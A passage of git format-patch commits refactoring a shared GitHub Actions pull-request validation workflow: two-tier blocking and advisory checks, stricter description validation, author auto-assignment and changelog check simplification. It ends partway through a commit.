b/src/validate/pr-checks-summary/README.md new file mode 100644 index 00000000..7da84ea7 --- /dev/null +++ b/src/validate/pr-checks-summary/README.md @@ -0,0 +1,50 @@ + + + + + +
Lerian

pr-checks-summary

+ +Generates a summary table of all PR validation check results in the GitHub Actions job summary. + +## Inputs + +| Input | Description | Required | Default | +|-------|-------------|----------|---------| +| `source-branch-result` | Result of source branch validation | No | `skipped` | +| `title-result` | Result of PR title validation | No | `skipped` | +| `size-result` | Result of PR size check | No | `skipped` | +| `description-result` | Result of PR description check | No | `skipped` | +| `label-result` | Result of auto-label step | No | `skipped` | +| `metadata-result` | Result of PR metadata check | No | `skipped` | +| `changelog-result` | Result of changelog check | No | `skipped` | +| `dry-run` | Whether this is a dry run | No | `false` | + +## Usage as composite step + +```yaml +jobs: + pr-checks-summary: + runs-on: blacksmith-4vcpu-ubuntu-2404 + needs: [pr-source-branch, pr-title, pr-size, pr-description, pr-labels, pr-metadata, pr-changelog] + if: always() + steps: + - name: PR Checks Summary + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-checks-summary@v1.x.x + with: + source-branch-result: ${{ needs.pr-source-branch.result }} + title-result: ${{ needs.pr-title.result }} + size-result: ${{ needs.pr-size.result }} + description-result: ${{ needs.pr-description.result }} + label-result: ${{ needs.pr-labels.result }} + metadata-result: ${{ needs.pr-metadata.result }} + changelog-result: ${{ needs.pr-changelog.result }} + dry-run: "true" +``` + +## Required permissions + +```yaml +permissions: + contents: read +``` From fd277d02d1b25778e847f493b0fb5499754708d4 Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Wed, 25 Mar 2026 16:16:34 -0300 Subject: [PATCH 09/21] refactor(pr-validation): optimize to 2-tier fail-fast model MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Consolidate 9 parallel jobs into 4 with a 2-tier architecture: - Tier 1 (blocking-checks): title, source-branch, description — no checkout, fail-fast - Tier 2 (advisory-checks): metadata, size, labels, changelog — shared checkout, only runs if Tier 1 passes Reduces runner cost (9 → 4 runners, 3 checkouts → 1) while providing faster feedback on blocking validation failures. --- .github/workflows/pr-validation.yml | 171 +++++++++++++++------------- docs/pr-validation.md | 50 +++++--- 2 files changed, 128 insertions(+), 93 deletions(-) diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index d725d21b..ab087c75 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -1,7 +1,10 @@ name: "PR Validation" # Reusable workflow for comprehensive pull request validation -# Checks PR title, size, description, labels, and best practices +# Uses a 2-tier fail-fast model: +# Tier 1 (blocking-checks): lightweight validations that block merge — title, source branch, description +# Tier 2 (advisory-checks): informational checks — size, labels, metadata, changelog (only runs if Tier 1 passes) +# Followed by a summary job and optional Slack notification on: workflow_call: @@ -78,14 +81,21 @@ permissions: issues: write jobs: - # ----------------- Source Branch Validation ----------------- - pr-source-branch: - name: Validate Source Branch + # ----------------- Tier 1: Blocking Checks (no checkout, fail-fast) ----------------- + blocking-checks: + name: Blocking Checks runs-on: ${{ inputs.runner_type }} - if: github.event.pull_request.draft != true && inputs.enforce_source_branches + if: github.event.pull_request.draft != true + outputs: + source-branch-result: ${{ steps.collect.outputs.source_branch }} + title-result: ${{ steps.collect.outputs.title }} + description-result: ${{ steps.collect.outputs.description }} steps: - name: Validate source branch + id: source-branch + if: inputs.enforce_source_branches + continue-on-error: true uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-source-branch@refactor/modularize-pr-validation with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} @@ -93,14 +103,9 @@ jobs: target-branches: ${{ inputs.target_branches_for_source_check }} dry-run: ${{ inputs.dry_run && 'true' || 'false' }} - # ----------------- PR Title Validation ----------------- - pr-title: - name: Validate PR Title - runs-on: ${{ inputs.runner_type }} - if: github.event.pull_request.draft != true - - steps: - - name: Validate PR title format + - name: Validate PR title + id: title + continue-on-error: true uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-title@refactor/modularize-pr-validation with: github-token: ${{ github.token }} @@ -108,43 +113,49 @@ jobs: scopes: ${{ inputs.pr_title_scopes }} require-scope: ${{ inputs.require_scope && 'true' || 'false' }} - # ----------------- PR Size Check ----------------- - pr-size: - name: Check PR Size - runs-on: ${{ inputs.runner_type }} - if: github.event.pull_request.draft != true - - steps: - - name: Checkout code - uses: actions/checkout@v6 - with: - fetch-depth: 0 - - - name: Check PR size - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-size@refactor/modularize-pr-validation - with: - github-token: ${{ secrets.MANAGE_TOKEN || github.token }} - base-ref: ${{ github.base_ref }} - dry-run: ${{ inputs.dry_run && 'true' || 'false' }} - - # ----------------- PR Description Check ----------------- - pr-description: - name: Check PR Description - runs-on: ${{ inputs.runner_type }} - if: github.event.pull_request.draft != true - - steps: - name: Validate PR description + id: description + continue-on-error: true uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-description@refactor/modularize-pr-validation with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} min-length: ${{ inputs.min_description_length }} - # ----------------- Auto-label PR ----------------- - pr-labels: - name: Auto-label PR + - name: Collect results and enforce blocking + id: collect + run: | + SOURCE_BRANCH="${{ steps.source-branch.outcome || 'skipped' }}" + TITLE="${{ steps.title.outcome }}" + DESCRIPTION="${{ steps.description.outcome }}" + + { + echo "source_branch=${SOURCE_BRANCH}" + echo "title=${TITLE}" + echo "description=${DESCRIPTION}" + } >> "$GITHUB_OUTPUT" + + # Fail the job if any blocking check failed + FAILED="" + if [ "${SOURCE_BRANCH}" = "failure" ]; then FAILED="${FAILED} source-branch"; fi + if [ "${TITLE}" = "failure" ]; then FAILED="${FAILED} title"; fi + if [ "${DESCRIPTION}" = "failure" ]; then FAILED="${FAILED} description"; fi + + if [ -n "${FAILED}" ]; then + echo "::error::Blocking checks failed:${FAILED}" + exit 1 + fi + + # ----------------- Tier 2: Advisory Checks (shared checkout, depends on Tier 1) ----------------- + advisory-checks: + name: Advisory Checks runs-on: ${{ inputs.runner_type }} - if: github.event.pull_request.draft != true && inputs.enable_auto_labeler && !inputs.dry_run + needs: [blocking-checks] + if: always() && needs.blocking-checks.result == 'success' && github.event.pull_request.draft != true + outputs: + metadata-result: ${{ steps.collect.outputs.metadata }} + size-result: ${{ steps.collect.outputs.size }} + label-result: ${{ steps.collect.outputs.label }} + changelog-result: ${{ steps.collect.outputs.changelog }} steps: - name: Checkout code @@ -152,72 +163,80 @@ jobs: with: fetch-depth: 0 - - name: Auto-label based on files - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-labels@refactor/modularize-pr-validation + - name: Check PR metadata + id: metadata + continue-on-error: true + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-metadata@refactor/modularize-pr-validation with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} - config-path: ${{ inputs.labeler_config_path }} - - # ----------------- PR Metadata Check ----------------- - pr-metadata: - name: Check PR Metadata - runs-on: ${{ inputs.runner_type }} - if: github.event.pull_request.draft != true - steps: - - name: Check assignee and linked issues - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-metadata@refactor/modularize-pr-validation + - name: Check PR size + id: size + continue-on-error: true + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-size@refactor/modularize-pr-validation with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} + base-ref: ${{ github.base_ref }} + dry-run: ${{ inputs.dry_run && 'true' || 'false' }} - # ----------------- Changelog Check ----------------- - pr-changelog: - name: Check Changelog Update - runs-on: ${{ inputs.runner_type }} - if: github.event.pull_request.draft != true && inputs.check_changelog - - steps: - - name: Checkout code - uses: actions/checkout@v6 + - name: Auto-label PR + id: labels + if: inputs.enable_auto_labeler && !inputs.dry_run + continue-on-error: true + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-labels@refactor/modularize-pr-validation with: - fetch-depth: 0 + github-token: ${{ secrets.MANAGE_TOKEN || github.token }} + config-path: ${{ inputs.labeler_config_path }} - name: Check changelog + id: changelog + if: inputs.check_changelog + continue-on-error: true uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-changelog@refactor/modularize-pr-validation with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} base-ref: ${{ github.base_ref }} dry-run: ${{ inputs.dry_run && 'true' || 'false' }} + - name: Collect results + id: collect + run: | + { + echo "metadata=${{ steps.metadata.outcome }}" + echo "size=${{ steps.size.outcome }}" + echo "label=${{ steps.labels.outcome || 'skipped' }}" + echo "changelog=${{ steps.changelog.outcome || 'skipped' }}" + } >> "$GITHUB_OUTPUT" + # ----------------- PR Checks Summary ----------------- pr-checks-summary: name: PR Checks Summary runs-on: ${{ inputs.runner_type }} - needs: [pr-source-branch, pr-title, pr-size, pr-description, pr-labels, pr-metadata, pr-changelog] + needs: [blocking-checks, advisory-checks] if: always() steps: - name: PR Checks Summary uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-checks-summary@refactor/modularize-pr-validation with: - source-branch-result: ${{ needs.pr-source-branch.result }} - title-result: ${{ needs.pr-title.result }} - size-result: ${{ needs.pr-size.result }} - description-result: ${{ needs.pr-description.result }} - label-result: ${{ needs.pr-labels.result }} - metadata-result: ${{ needs.pr-metadata.result }} - changelog-result: ${{ needs.pr-changelog.result }} + source-branch-result: ${{ needs.blocking-checks.outputs.source-branch-result || 'skipped' }} + title-result: ${{ needs.blocking-checks.outputs.title-result || 'skipped' }} + description-result: ${{ needs.blocking-checks.outputs.description-result || 'skipped' }} + size-result: ${{ needs.advisory-checks.outputs.size-result || 'skipped' }} + label-result: ${{ needs.advisory-checks.outputs.label-result || 'skipped' }} + metadata-result: ${{ needs.advisory-checks.outputs.metadata-result || 'skipped' }} + changelog-result: ${{ needs.advisory-checks.outputs.changelog-result || 'skipped' }} dry-run: ${{ inputs.dry_run && 'true' || 'false' }} # ----------------- Slack Notification ----------------- notify: name: Notify - needs: [pr-source-branch, pr-title, pr-size, pr-description, pr-labels, pr-metadata, pr-changelog, pr-checks-summary] + needs: [blocking-checks, advisory-checks, pr-checks-summary] if: always() && github.event.pull_request.draft != true && !inputs.dry_run uses: LerianStudio/github-actions-shared-workflows/.github/workflows/slack-notify.yml@refactor/modularize-pr-validation with: - status: ${{ (needs.pr-source-branch.result == 'failure' || needs.pr-title.result == 'failure' || needs.pr-description.result == 'failure' || needs.pr-changelog.result == 'failure') && 'failure' || 'success' }} + status: ${{ (needs.blocking-checks.outputs.source-branch-result == 'failure' || needs.blocking-checks.outputs.title-result == 'failure' || needs.blocking-checks.outputs.description-result == 'failure') && 'failure' || 'success' }} workflow_name: "PR Validation" - failed_jobs: ${{ needs.pr-source-branch.result == 'failure' && 'Source Branch, ' || '' }}${{ needs.pr-title.result == 'failure' && 'PR Title, ' || '' }}${{ needs.pr-description.result == 'failure' && 'PR Description, ' || '' }}${{ needs.pr-changelog.result == 'failure' && 'Changelog' || '' }} + failed_jobs: ${{ needs.blocking-checks.outputs.source-branch-result == 'failure' && 'Source Branch, ' || '' }}${{ needs.blocking-checks.outputs.title-result == 'failure' && 'PR Title, ' || '' }}${{ needs.blocking-checks.outputs.description-result == 'failure' && 'PR Description' || '' }} secrets: SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }} diff --git a/docs/pr-validation.md b/docs/pr-validation.md index 97b15b7c..c46b5d3d 100644 --- a/docs/pr-validation.md +++ b/docs/pr-validation.md @@ -22,18 +22,29 @@ Comprehensive pull request validation workflow that enforces best practices, cod ## Architecture +Uses a **2-tier fail-fast model** to minimize runner cost and provide fast feedback: + ``` pr-validation.yml (reusable workflow) + + Tier 1 — blocking-checks (no checkout, ~5s) ├── src/validate/pr-source-branch (source branch check) ├── src/validate/pr-title (semantic title check) + └── src/validate/pr-description (description quality) + ↓ (only continues if all pass) + Tier 2 — advisory-checks (shared checkout) + ├── src/validate/pr-metadata (assignee + linked issues) ├── src/validate/pr-size (size calculation + labeling) - ├── src/validate/pr-description (description quality) ├── src/validate/pr-labels (auto-label by files) - ├── src/validate/pr-metadata (assignee + linked issues) - ├── src/validate/pr-changelog (changelog check) - └── slack-notify.yml (optional notification) + └── src/validate/pr-changelog (changelog check) + ↓ + Summary — pr-checks-summary (always runs) + ↓ + Notify — slack-notify.yml (optional) ``` +**Cost optimization:** 4 runners instead of 9, 1 checkout instead of 3. + ## Usage ### Basic Usage @@ -134,17 +145,22 @@ feat fix docs style refactor perf test chore ci build revert ## Jobs -| Job | Condition | Composite | -|-----|-----------|-----------| -| `pr-source-branch` | non-draft, `enforce_source_branches` | `src/validate/pr-source-branch` | -| `pr-title` | non-draft | `src/validate/pr-title` | -| `pr-size` | non-draft | `src/validate/pr-size` | -| `pr-description` | non-draft | `src/validate/pr-description` | -| `pr-labels` | non-draft, `enable_auto_labeler && !dry_run` | `src/validate/pr-labels` | -| `pr-metadata` | non-draft | `src/validate/pr-metadata` | -| `pr-changelog` | non-draft, `check_changelog` | `src/validate/pr-changelog` | -| `pr-checks-summary` | always | inline | -| `notify` | non-draft, `!dry_run` | `slack-notify.yml` | +| Job | Tier | Composites | Condition | +|-----|------|------------|-----------| +| `blocking-checks` | 1 (fail-fast) | `pr-source-branch`, `pr-title`, `pr-description` | non-draft | +| `advisory-checks` | 2 (informational) | `pr-metadata`, `pr-size`, `pr-labels`, `pr-changelog` | non-draft, blocking-checks passed | +| `pr-checks-summary` | — | `pr-checks-summary` | always | +| `notify` | — | `slack-notify.yml` | non-draft, `!dry_run` | + +### Blocking checks (Tier 1) +- Run without checkout (lightweight, ~5 seconds) +- All three run even if one fails (`continue-on-error` per step) +- Job fails if **any** blocking check fails, preventing advisory checks from running + +### Advisory checks (Tier 2) +- Share a single `checkout` with `fetch-depth: 0` +- Only run if all blocking checks passed +- Never block merge — informational only ## Dry Run Behavior @@ -195,5 +211,5 @@ To skip the changelog check, add one of these labels: --- -**Last Updated:** 2026-03-24 -**Version:** 2.0.0 +**Last Updated:** 2026-03-25 +**Version:** 3.0.0 From 1748e31155ba5d2ee94c5140be889b3bb323aa9f Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Wed, 25 Mar 2026 16:25:35 -0300 Subject: [PATCH 10/21] =?UTF-8?q?fix(pr-changelog):=20remove=20comment=20l?= =?UTF-8?q?ogic=20=E2=80=94=20changelog=20is=20auto-generated?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit CHANGELOG.md is now generated by semantic-release, so the reminder comment is unnecessary noise. Removed the comment step, github-token and dry-run inputs from the composite. --- .github/workflows/pr-validation.yml | 2 -- docs/pr-validation.md | 8 +++----- src/validate/pr-changelog/README.md | 6 +----- src/validate/pr-changelog/action.yml | 28 +--------------------------- 4 files changed, 5 insertions(+), 39 deletions(-) diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index ab087c75..02f31fd4 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -194,9 +194,7 @@ jobs: continue-on-error: true uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-changelog@refactor/modularize-pr-validation with: - github-token: ${{ secrets.MANAGE_TOKEN || github.token }} base-ref: ${{ github.base_ref }} - dry-run: ${{ inputs.dry_run && 'true' || 'false' }} - name: Collect results id: collect diff --git a/docs/pr-validation.md b/docs/pr-validation.md index c46b5d3d..ba193d54 100644 --- a/docs/pr-validation.md +++ b/docs/pr-validation.md @@ -14,7 +14,7 @@ Comprehensive pull request validation workflow that enforces best practices, cod - **Description quality** — Minimum length and required sections - **Auto-labeling** — Based on changed files - **Metadata checks** — Warns if no assignee or linked issues -- **Changelog tracking** — Reminds to update CHANGELOG.md +- **Changelog tracking** — Detects if CHANGELOG.md was modified - **Draft PR support** — Skips validations for draft PRs - **Source branch validation** — Enforce PRs to protected branches come from specific source branches - **Dry run mode** — Preview validations without posting comments or labels @@ -167,7 +167,7 @@ feat fix docs style refactor perf test chore ci build revert When `dry_run: true`: - Title, description, and metadata validations still run (read-only checks) - Size is calculated and logged but **labels are not applied** -- Changelog is checked but **comments are not posted** +- Changelog is checked (informational only, no comments) - Source branch is validated but **REQUEST_CHANGES review is not posted** - Auto-labeling is **skipped entirely** - Slack notification is **skipped** @@ -199,9 +199,7 @@ When a PR is in draft mode, all validation jobs are skipped. Checks run automati ## Changelog Checking -To skip the changelog check, add one of these labels: -- `skip-changelog` -- `dependencies` (auto-added by Dependabot) +The changelog check detects whether `CHANGELOG.md` was modified in the PR diff. It is informational only — no comments are posted. CHANGELOG.md is auto-generated by semantic-release. ## Related Workflows diff --git a/src/validate/pr-changelog/README.md b/src/validate/pr-changelog/README.md index 31800c52..ba95978a 100644 --- a/src/validate/pr-changelog/README.md +++ b/src/validate/pr-changelog/README.md @@ -5,15 +5,13 @@ -Checks if `CHANGELOG.md` was updated in the PR. If not, posts a reminder comment (skipped for PRs with `skip-changelog` or `dependencies` labels). +Checks if `CHANGELOG.md` was updated in the PR diff. Outputs the result for use by downstream jobs (e.g., summary reporting). ## Inputs | Input | Description | Required | Default | |-------|-------------|----------|---------| -| `github-token` | GitHub token with pull-requests write permission | Yes | | | `base-ref` | Base branch for diff comparison | Yes | | -| `dry-run` | When true, check without posting comments | No | `false` | ## Outputs @@ -36,7 +34,6 @@ jobs: - name: Check Changelog uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-changelog@v1.x.x with: - github-token: ${{ secrets.GITHUB_TOKEN }} base-ref: ${{ github.base_ref }} ``` @@ -45,5 +42,4 @@ jobs: ```yaml permissions: contents: read - pull-requests: write ``` diff --git a/src/validate/pr-changelog/action.yml b/src/validate/pr-changelog/action.yml index 51c3fa2a..fcba4bf3 100644 --- a/src/validate/pr-changelog/action.yml +++ b/src/validate/pr-changelog/action.yml @@ -1,17 +1,10 @@ name: Check Changelog Update -description: "Checks if CHANGELOG.md was updated and comments if not." +description: "Checks if CHANGELOG.md was updated in the PR diff." inputs: - github-token: - description: GitHub token with pull-requests write permission - required: true base-ref: description: Base branch for diff comparison required: true - dry-run: - description: "When true, check without posting comments" - required: false - default: "false" outputs: updated: @@ -34,22 +27,3 @@ runs: echo "updated=false" >> "$GITHUB_OUTPUT" fi - # ----------------- Comment ----------------- - - name: Comment if CHANGELOG not updated - if: steps.changelog.outputs.updated == 'false' && inputs.dry-run != 'true' - uses: actions/github-script@v8 - with: - github-token: ${{ inputs.github-token }} - script: | - const labels = context.payload.pull_request.labels.map(l => l.name); - - if (labels.includes('skip-changelog') || labels.includes('dependencies')) { - return; - } - - await github.rest.issues.createComment({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: context.issue.number, - body: 'Consider updating CHANGELOG.md to document this change. If this change doesn\'t need a changelog entry, add the `skip-changelog` label.' - }); From 943db14c886ef598c711d5216f635e19e01254ee Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Wed, 25 Mar 2026 16:28:54 -0300 Subject: [PATCH 11/21] fix(pr-validation): default enforce_source_branches to true The composite already auto-skips when the target branch is not in target_branches_for_source_check (default: main), so enabling by default is safe and avoids silent misconfiguration. --- .github/workflows/pr-validation.yml | 5 +++-- docs/pr-validation.md | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index 02f31fd4..163bd702 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -58,9 +58,9 @@ on: type: string default: '.github/labeler.yml' enforce_source_branches: - description: 'Enforce that PRs to protected branches come from specific source branches' + description: 'Enforce that PRs to protected branches come from specific source branches. The composite auto-skips when the target branch is not in target_branches_for_source_check.' type: boolean - default: false + default: true allowed_source_branches: description: 'Allowed source branches for PRs to protected branches (pipe-separated, supports prefix matching with *)' type: string @@ -92,6 +92,7 @@ jobs: description-result: ${{ steps.collect.outputs.description }} steps: + # The composite auto-skips when target branch is not in target_branches_for_source_check (default: main) - name: Validate source branch id: source-branch if: inputs.enforce_source_branches diff --git a/docs/pr-validation.md b/docs/pr-validation.md index ba193d54..7b9fa359 100644 --- a/docs/pr-validation.md +++ b/docs/pr-validation.md @@ -126,7 +126,7 @@ jobs: | `check_changelog` | boolean | `true` | Check if CHANGELOG.md is updated | | `enable_auto_labeler` | boolean | `true` | Enable automatic labeling | | `labeler_config_path` | string | `.github/labeler.yml` | Path to labeler config | -| `enforce_source_branches` | boolean | `false` | Enforce source branch rules | +| `enforce_source_branches` | boolean | `true` | Enforce source branch rules (auto-skips when target is not in `target_branches_for_source_check`) | | `allowed_source_branches` | string | `develop\|release-candidate\|hotfix/*` | Allowed source branches (pipe-separated, supports `*` wildcard) | | `target_branches_for_source_check` | string | `main` | Target branches that require source branch validation | From 83d82e52e60cc89e113409cd5556f31da65fc5d0 Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Wed, 25 Mar 2026 16:36:53 -0300 Subject: [PATCH 12/21] fix(pr-description): validate real content instead of raw length Rewrite pr-description composite to: - Extract content under "## Description" heading and strip HTML comments - Fail if description section is empty or below min-length - Fail if no "Type of Change" checkbox is checked - Remove github-token input (no API calls needed) - Consolidate two github-script steps into one Also pin amannn/action-semantic-pull-request to commit SHA in pr-title. --- .github/workflows/pr-validation.yml | 1 - src/validate/pr-description/README.md | 11 ++--- src/validate/pr-description/action.yml | 59 ++++++++++++++------------ src/validate/pr-title/action.yml | 2 +- 4 files changed, 40 insertions(+), 33 deletions(-) diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index 163bd702..bce48f78 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -119,7 +119,6 @@ jobs: continue-on-error: true uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-description@refactor/modularize-pr-validation with: - github-token: ${{ secrets.MANAGE_TOKEN || github.token }} min-length: ${{ inputs.min_description_length }} - name: Collect results and enforce blocking diff --git a/src/validate/pr-description/README.md b/src/validate/pr-description/README.md index 64c1983a..b8e57fd1 100644 --- a/src/validate/pr-description/README.md +++ b/src/validate/pr-description/README.md @@ -5,14 +5,16 @@ -Validates PR description quality by checking minimum length and recommended sections (`Description`, `Type of Change`). +Validates that the PR description has real content beyond template boilerplate: + +- **Description section**: extracts content under `## Description`, strips HTML comments, and checks minimum length +- **Type of Change**: verifies at least one checkbox is checked (`- [x]`) ## Inputs | Input | Description | Required | Default | |-------|-------------|----------|---------| -| `github-token` | GitHub token for API access | Yes | | -| `min-length` | Minimum PR description length in characters | No | `50` | +| `min-length` | Minimum content length in characters (after stripping template boilerplate) | No | `30` | ## Usage as composite step @@ -24,8 +26,7 @@ jobs: - name: Validate PR Description uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-description@v1.x.x with: - github-token: ${{ secrets.GITHUB_TOKEN }} - min-length: "100" + min-length: "50" ``` ## Required permissions diff --git a/src/validate/pr-description/action.yml b/src/validate/pr-description/action.yml index 4f7cdf43..af44921e 100644 --- a/src/validate/pr-description/action.yml +++ b/src/validate/pr-description/action.yml @@ -1,49 +1,56 @@ name: Validate PR Description -description: "Checks PR description length and recommended sections." +description: "Validates that the PR description has real content beyond template boilerplate." inputs: - github-token: - description: GitHub token for API access - required: true min-length: - description: Minimum PR description length in characters + description: Minimum content length in characters (after stripping template boilerplate) required: false - default: "50" + default: "30" runs: using: composite steps: - # ----------------- Length Check ----------------- - - name: Check description length + - name: Validate PR description uses: actions/github-script@v8 env: MIN_LENGTH: ${{ inputs.min-length }} with: - github-token: ${{ inputs.github-token }} script: | const body = context.payload.pull_request.body || ''; const minLength = parseInt(process.env.MIN_LENGTH, 10); + const errors = []; + const warnings = []; - if (body.length < minLength) { - core.setFailed(`PR description is too short (${body.length} chars). Please provide a detailed description (minimum ${minLength} chars).`); - } + // --- Extract content under "## Description" heading --- + const descriptionMatch = body.match(/## Description\s*\n([\s\S]*?)(?=\n## |\n---\s*$|$)/); + const descriptionContent = descriptionMatch ? descriptionMatch[1].trim() : ''; - # ----------------- Required Sections ----------------- - - name: Check for required sections - uses: actions/github-script@v8 - with: - github-token: ${{ inputs.github-token }} - script: | - const body = context.payload.pull_request.body || ''; - const requiredSections = ['Description', 'Type of Change']; - const missingSections = []; + // Strip HTML comments + const cleaned = descriptionContent.replace(//g, '').trim(); - for (const section of requiredSections) { - if (!body.includes(section)) { - missingSections.push(section); + if (cleaned.length === 0) { + errors.push('The "Description" section is empty. Please summarize what this PR does and why.'); + } else if (cleaned.length < minLength) { + errors.push(`The "Description" section is too short (${cleaned.length} chars, minimum ${minLength}). Please provide more detail.`); + } + + // --- Check that at least one "Type of Change" checkbox is checked --- + const typeMatch = body.match(/## Type of Change\s*\n([\s\S]*?)(?=\n## |$)/); + if (typeMatch) { + const typeSection = typeMatch[1]; + const checked = typeSection.match(/- \[x\]/gi); + if (!checked) { + errors.push('No "Type of Change" checkbox is checked. Please mark at least one.'); } + } else { + warnings.push('Missing "Type of Change" section.'); + } + + // --- Report --- + for (const w of warnings) { + core.warning(w); } - if (missingSections.length > 0) { - core.warning(`PR description is missing recommended sections: ${missingSections.join(', ')}`); + if (errors.length > 0) { + core.setFailed(errors.join('\n')); } diff --git a/src/validate/pr-title/action.yml b/src/validate/pr-title/action.yml index 7292b54f..acf8ee8b 100644 --- a/src/validate/pr-title/action.yml +++ b/src/validate/pr-title/action.yml @@ -33,7 +33,7 @@ runs: using: composite steps: - name: Validate PR title format - uses: amannn/action-semantic-pull-request@v6 + uses: amannn/action-semantic-pull-request@48f256284bd46cdaab1048c3721360e808335d50 # v6 env: GITHUB_TOKEN: ${{ inputs.github-token }} with: From 3b51195bf5d4a1a667b15301a8c68c45c75f38bc Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Wed, 25 Mar 2026 16:50:45 -0300 Subject: [PATCH 13/21] feat(pr-metadata): auto-assign PR author instead of warning Replace the warning-only assignee and linked issues checks with an actionable auto-assign: if no assignee is set, assign the PR author automatically. Bot accounts are skipped. --- src/validate/pr-metadata/README.md | 8 +++--- src/validate/pr-metadata/action.yml | 43 ++++++++++++++--------------- 2 files changed, 24 insertions(+), 27 deletions(-) diff --git a/src/validate/pr-metadata/README.md b/src/validate/pr-metadata/README.md index fd41288c..d0bde954 100644 --- a/src/validate/pr-metadata/README.md +++ b/src/validate/pr-metadata/README.md @@ -5,13 +5,13 @@ -Checks PR metadata quality: warns if no assignees are set and if no issues are linked via keywords (`Closes`, `Fixes`, `Resolves`, `Relates to`). +Auto-assigns the PR author as assignee when no one is assigned. Skips bot accounts (dependabot, github-actions, etc). ## Inputs | Input | Description | Required | Default | |-------|-------------|----------|---------| -| `github-token` | GitHub token for API access | Yes | | +| `github-token` | GitHub token with pull-requests write permission | Yes | | ## Usage as composite step @@ -20,7 +20,7 @@ jobs: pr-metadata: runs-on: blacksmith-4vcpu-ubuntu-2404 steps: - - name: Check PR Metadata + - name: Auto-assign PR author uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-metadata@v1.x.x with: github-token: ${{ secrets.GITHUB_TOKEN }} @@ -30,5 +30,5 @@ jobs: ```yaml permissions: - pull-requests: read + pull-requests: write ``` diff --git a/src/validate/pr-metadata/action.yml b/src/validate/pr-metadata/action.yml index 616a0c26..d37d73fb 100644 --- a/src/validate/pr-metadata/action.yml +++ b/src/validate/pr-metadata/action.yml @@ -1,42 +1,39 @@ name: Validate PR Metadata -description: "Checks PR assignee and linked issues." +description: "Auto-assigns the PR author if no assignee is set (skips bot accounts)." inputs: github-token: - description: GitHub token for API access + description: GitHub token with pull-requests write permission required: true runs: using: composite steps: - # ----------------- Assignee ----------------- - - name: Check for assignee + - name: Auto-assign PR author uses: actions/github-script@v8 with: github-token: ${{ inputs.github-token }} script: | const pr = context.payload.pull_request; - if (pr.assignees.length === 0) { - core.warning('This PR has no assignees. Consider assigning someone to review.'); + + if (pr.assignees.length > 0) { + console.log(`PR already has assignees: ${pr.assignees.map(a => a.login).join(', ')}`); + return; } - # ----------------- Linked Issues ----------------- - - name: Check for linked issues - uses: actions/github-script@v8 - with: - github-token: ${{ inputs.github-token }} - script: | - const body = context.payload.pull_request.body || ''; - const issueKeywords = ['closes', 'fixes', 'resolves', 'relates to']; + const author = pr.user.login; + const authorType = pr.user.type; - let hasLinkedIssue = false; - for (const keyword of issueKeywords) { - if (body.toLowerCase().includes(keyword)) { - hasLinkedIssue = true; - break; - } + if (authorType === 'Bot' || author.endsWith('[bot]') || author === 'dependabot') { + console.log(`Skipping auto-assign — author '${author}' is a bot`); + return; } - if (!hasLinkedIssue) { - core.warning('This PR does not appear to be linked to any issues. Consider linking related issues using keywords like "Closes #123" or "Fixes #456".'); - } + console.log(`No assignees found. Auto-assigning author '${author}'`); + await github.rest.issues.addAssignees({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: context.issue.number, + assignees: [author] + }); + console.log(`✅ Assigned '${author}' to the PR`); From 8bc6ebd36749fe118f62bbc3f528302c0de96753 Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Wed, 25 Mar 2026 16:57:39 -0300 Subject: [PATCH 14/21] fix(pr-size): skip label update when unchanged and remove XL comment MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Check current labels before removing/adding — skip entirely if the correct size label is already set - Only remove stale size labels that actually exist on the PR - Remove the XL comment (generic noise on every sync) --- src/validate/pr-size/action.yml | 51 ++++++++++++++------------------- 1 file changed, 21 insertions(+), 30 deletions(-) diff --git a/src/validate/pr-size/action.yml b/src/validate/pr-size/action.yml index dbfb1664..7355f1a5 100644 --- a/src/validate/pr-size/action.yml +++ b/src/validate/pr-size/action.yml @@ -1,5 +1,5 @@ name: Check PR Size -description: "Calculates PR size, adds size label, and 